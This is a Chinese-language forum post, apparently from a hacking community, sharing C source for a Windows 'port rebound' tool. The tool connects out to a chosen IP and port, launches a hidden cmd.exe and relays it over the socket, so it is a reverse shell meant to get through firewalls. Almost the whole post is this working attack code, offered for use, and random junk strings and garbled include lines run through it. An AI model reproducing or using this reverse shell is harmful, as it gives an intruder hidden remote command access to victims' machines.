社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5221阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Jo]g{GX[  
F!8425oAw  
/* ============================== (aLnbJeJ  
Rebound port in Windows NT b-XBs7OAx  
By wind,2006/7 QH:i)v*  
===============================*/ V6N#%(?3  
#include o? =u#=  
#include $[e*0!e  
\)hmg  
#pragma comment(lib,"wsock32.lib") FS[CUoA  
x($1pAE  
void OutputShell(); @VFg XN  
SOCKET sClient; zi'?FM[f)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "]% L{a P  
1L ow[i  
void main(int argc,char **argv) m6}"g[nN  
{ h2 y@xnn  
WSADATA stWsaData; _G42|lA$/  
int nRet; aqlYB7  
SOCKADDR_IN stSaiClient,stSaiServer; .u)YZN0\  
1'=brc YR  
if(argc != 3) Z(FAQ\7  
{ x<].mx  
printf("Useage:\n\rRebound DestIP DestPort\n"); rB\UNXy  
return; );C !:?  
} mGX;JOjZ  
VrDvd  
WSAStartup(MAKEWORD(2,2),&stWsaData); U i;o/Z3  
qe0@tKim  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N4r`czoj  
> 2$M~to"1  
stSaiClient.sin_family = AF_INET; +] uY  
stSaiClient.sin_port = htons(0); p 7sYgz  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q8O38uZ  
SU:Cm: $  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ky*-_  
{ b]Jh0B~Y  
printf("Bind Socket Failed!\n"); +`ZcYLg)#  
return; ( mycUU%  
} }=++Lr4*  
JprZ6 >  
stSaiServer.sin_family = AF_INET; <I} k%q'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'tOo0Zgc  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mZORV3bN  
om(#P5cSM;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \K?3LtJ  
{ PR Y)hb;1  
printf("Connect Error!"); ]wP)!UZ  
return; K[sfsWQ.  
} V&gUxS]*  
OutputShell(); _M 7AQ5  
} [!v:fj  
|*!I(wm2i  
void OutputShell() #<)u%)`  
{ o rEo$e<  
char szBuff[1024]; ' e-FJ')|  
SECURITY_ATTRIBUTES stSecurityAttributes; TkK- r(=  
OSVERSIONINFO stOsversionInfo; b-wFnMXk+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #T+%$q [:  
STARTUPINFO stStartupInfo; *@/! h2  
char *szShell; ?g!py[CrE  
PROCESS_INFORMATION stProcessInformation; Rj-<tR{  
unsigned long lBytesRead; Zl]\sJ1"  
]zu" x9-`  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z"R-Sme  
a(bgPkPP  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @HR]b^2E  
stSecurityAttributes.lpSecurityDescriptor = 0; IGVNX2  
stSecurityAttributes.bInheritHandle = TRUE; ppS,9e-  
8J Gt|,  
ze]2-B4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1}9@aKM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :o=[Zp~B4d  
MAhcwmZNy  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @2]_jW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #R@{Bu=C  
stStartupInfo.wShowWindow = SW_HIDE; :FB#,AOa_  
stStartupInfo.hStdInput = hReadPipe; Ly lw('zZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uEH&]M>d_  
!XQG1!|ww  
GetVersionEx(&stOsversionInfo); n a_Y<R`  
g6+}'MN:5  
switch(stOsversionInfo.dwPlatformId) Ydh]EO0'  
{ 0[ jy  
case 1: a6fMx~  
szShell = "command.com"; ]_@5LvI  
break; 0 @~[SXR  
default: pl%3RVpoc  
szShell = "cmd.exe"; fHdPav f,S  
break; L@XhgQ  
} z`]'~  
6MqJy6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q3*@m  
Tt<Ry'Z$3  
send(sClient,szMsg,77,0); ]G#og)z4  
while(1) Vnlns2pQl  
{ q0,Diouq  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cK"b0K/M?B  
if(lBytesRead) ;JFy 8Rj  
{ C A VqjT7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )=8MO-{  
send(sClient,szBuff,lBytesRead,0); !inonR  
} ayTEQS  
else <sE0426 {  
{ HNu/b)-Rb  
lBytesRead=recv(sClient,szBuff,1024,0); =0cyGo  
if(lBytesRead<=0) break; tT>~;l%'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); h/W@R_Y  
} u(S~V+<@Z  
} Yh\ } i  
# XE`8$  
return; ,dOd3y'y  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八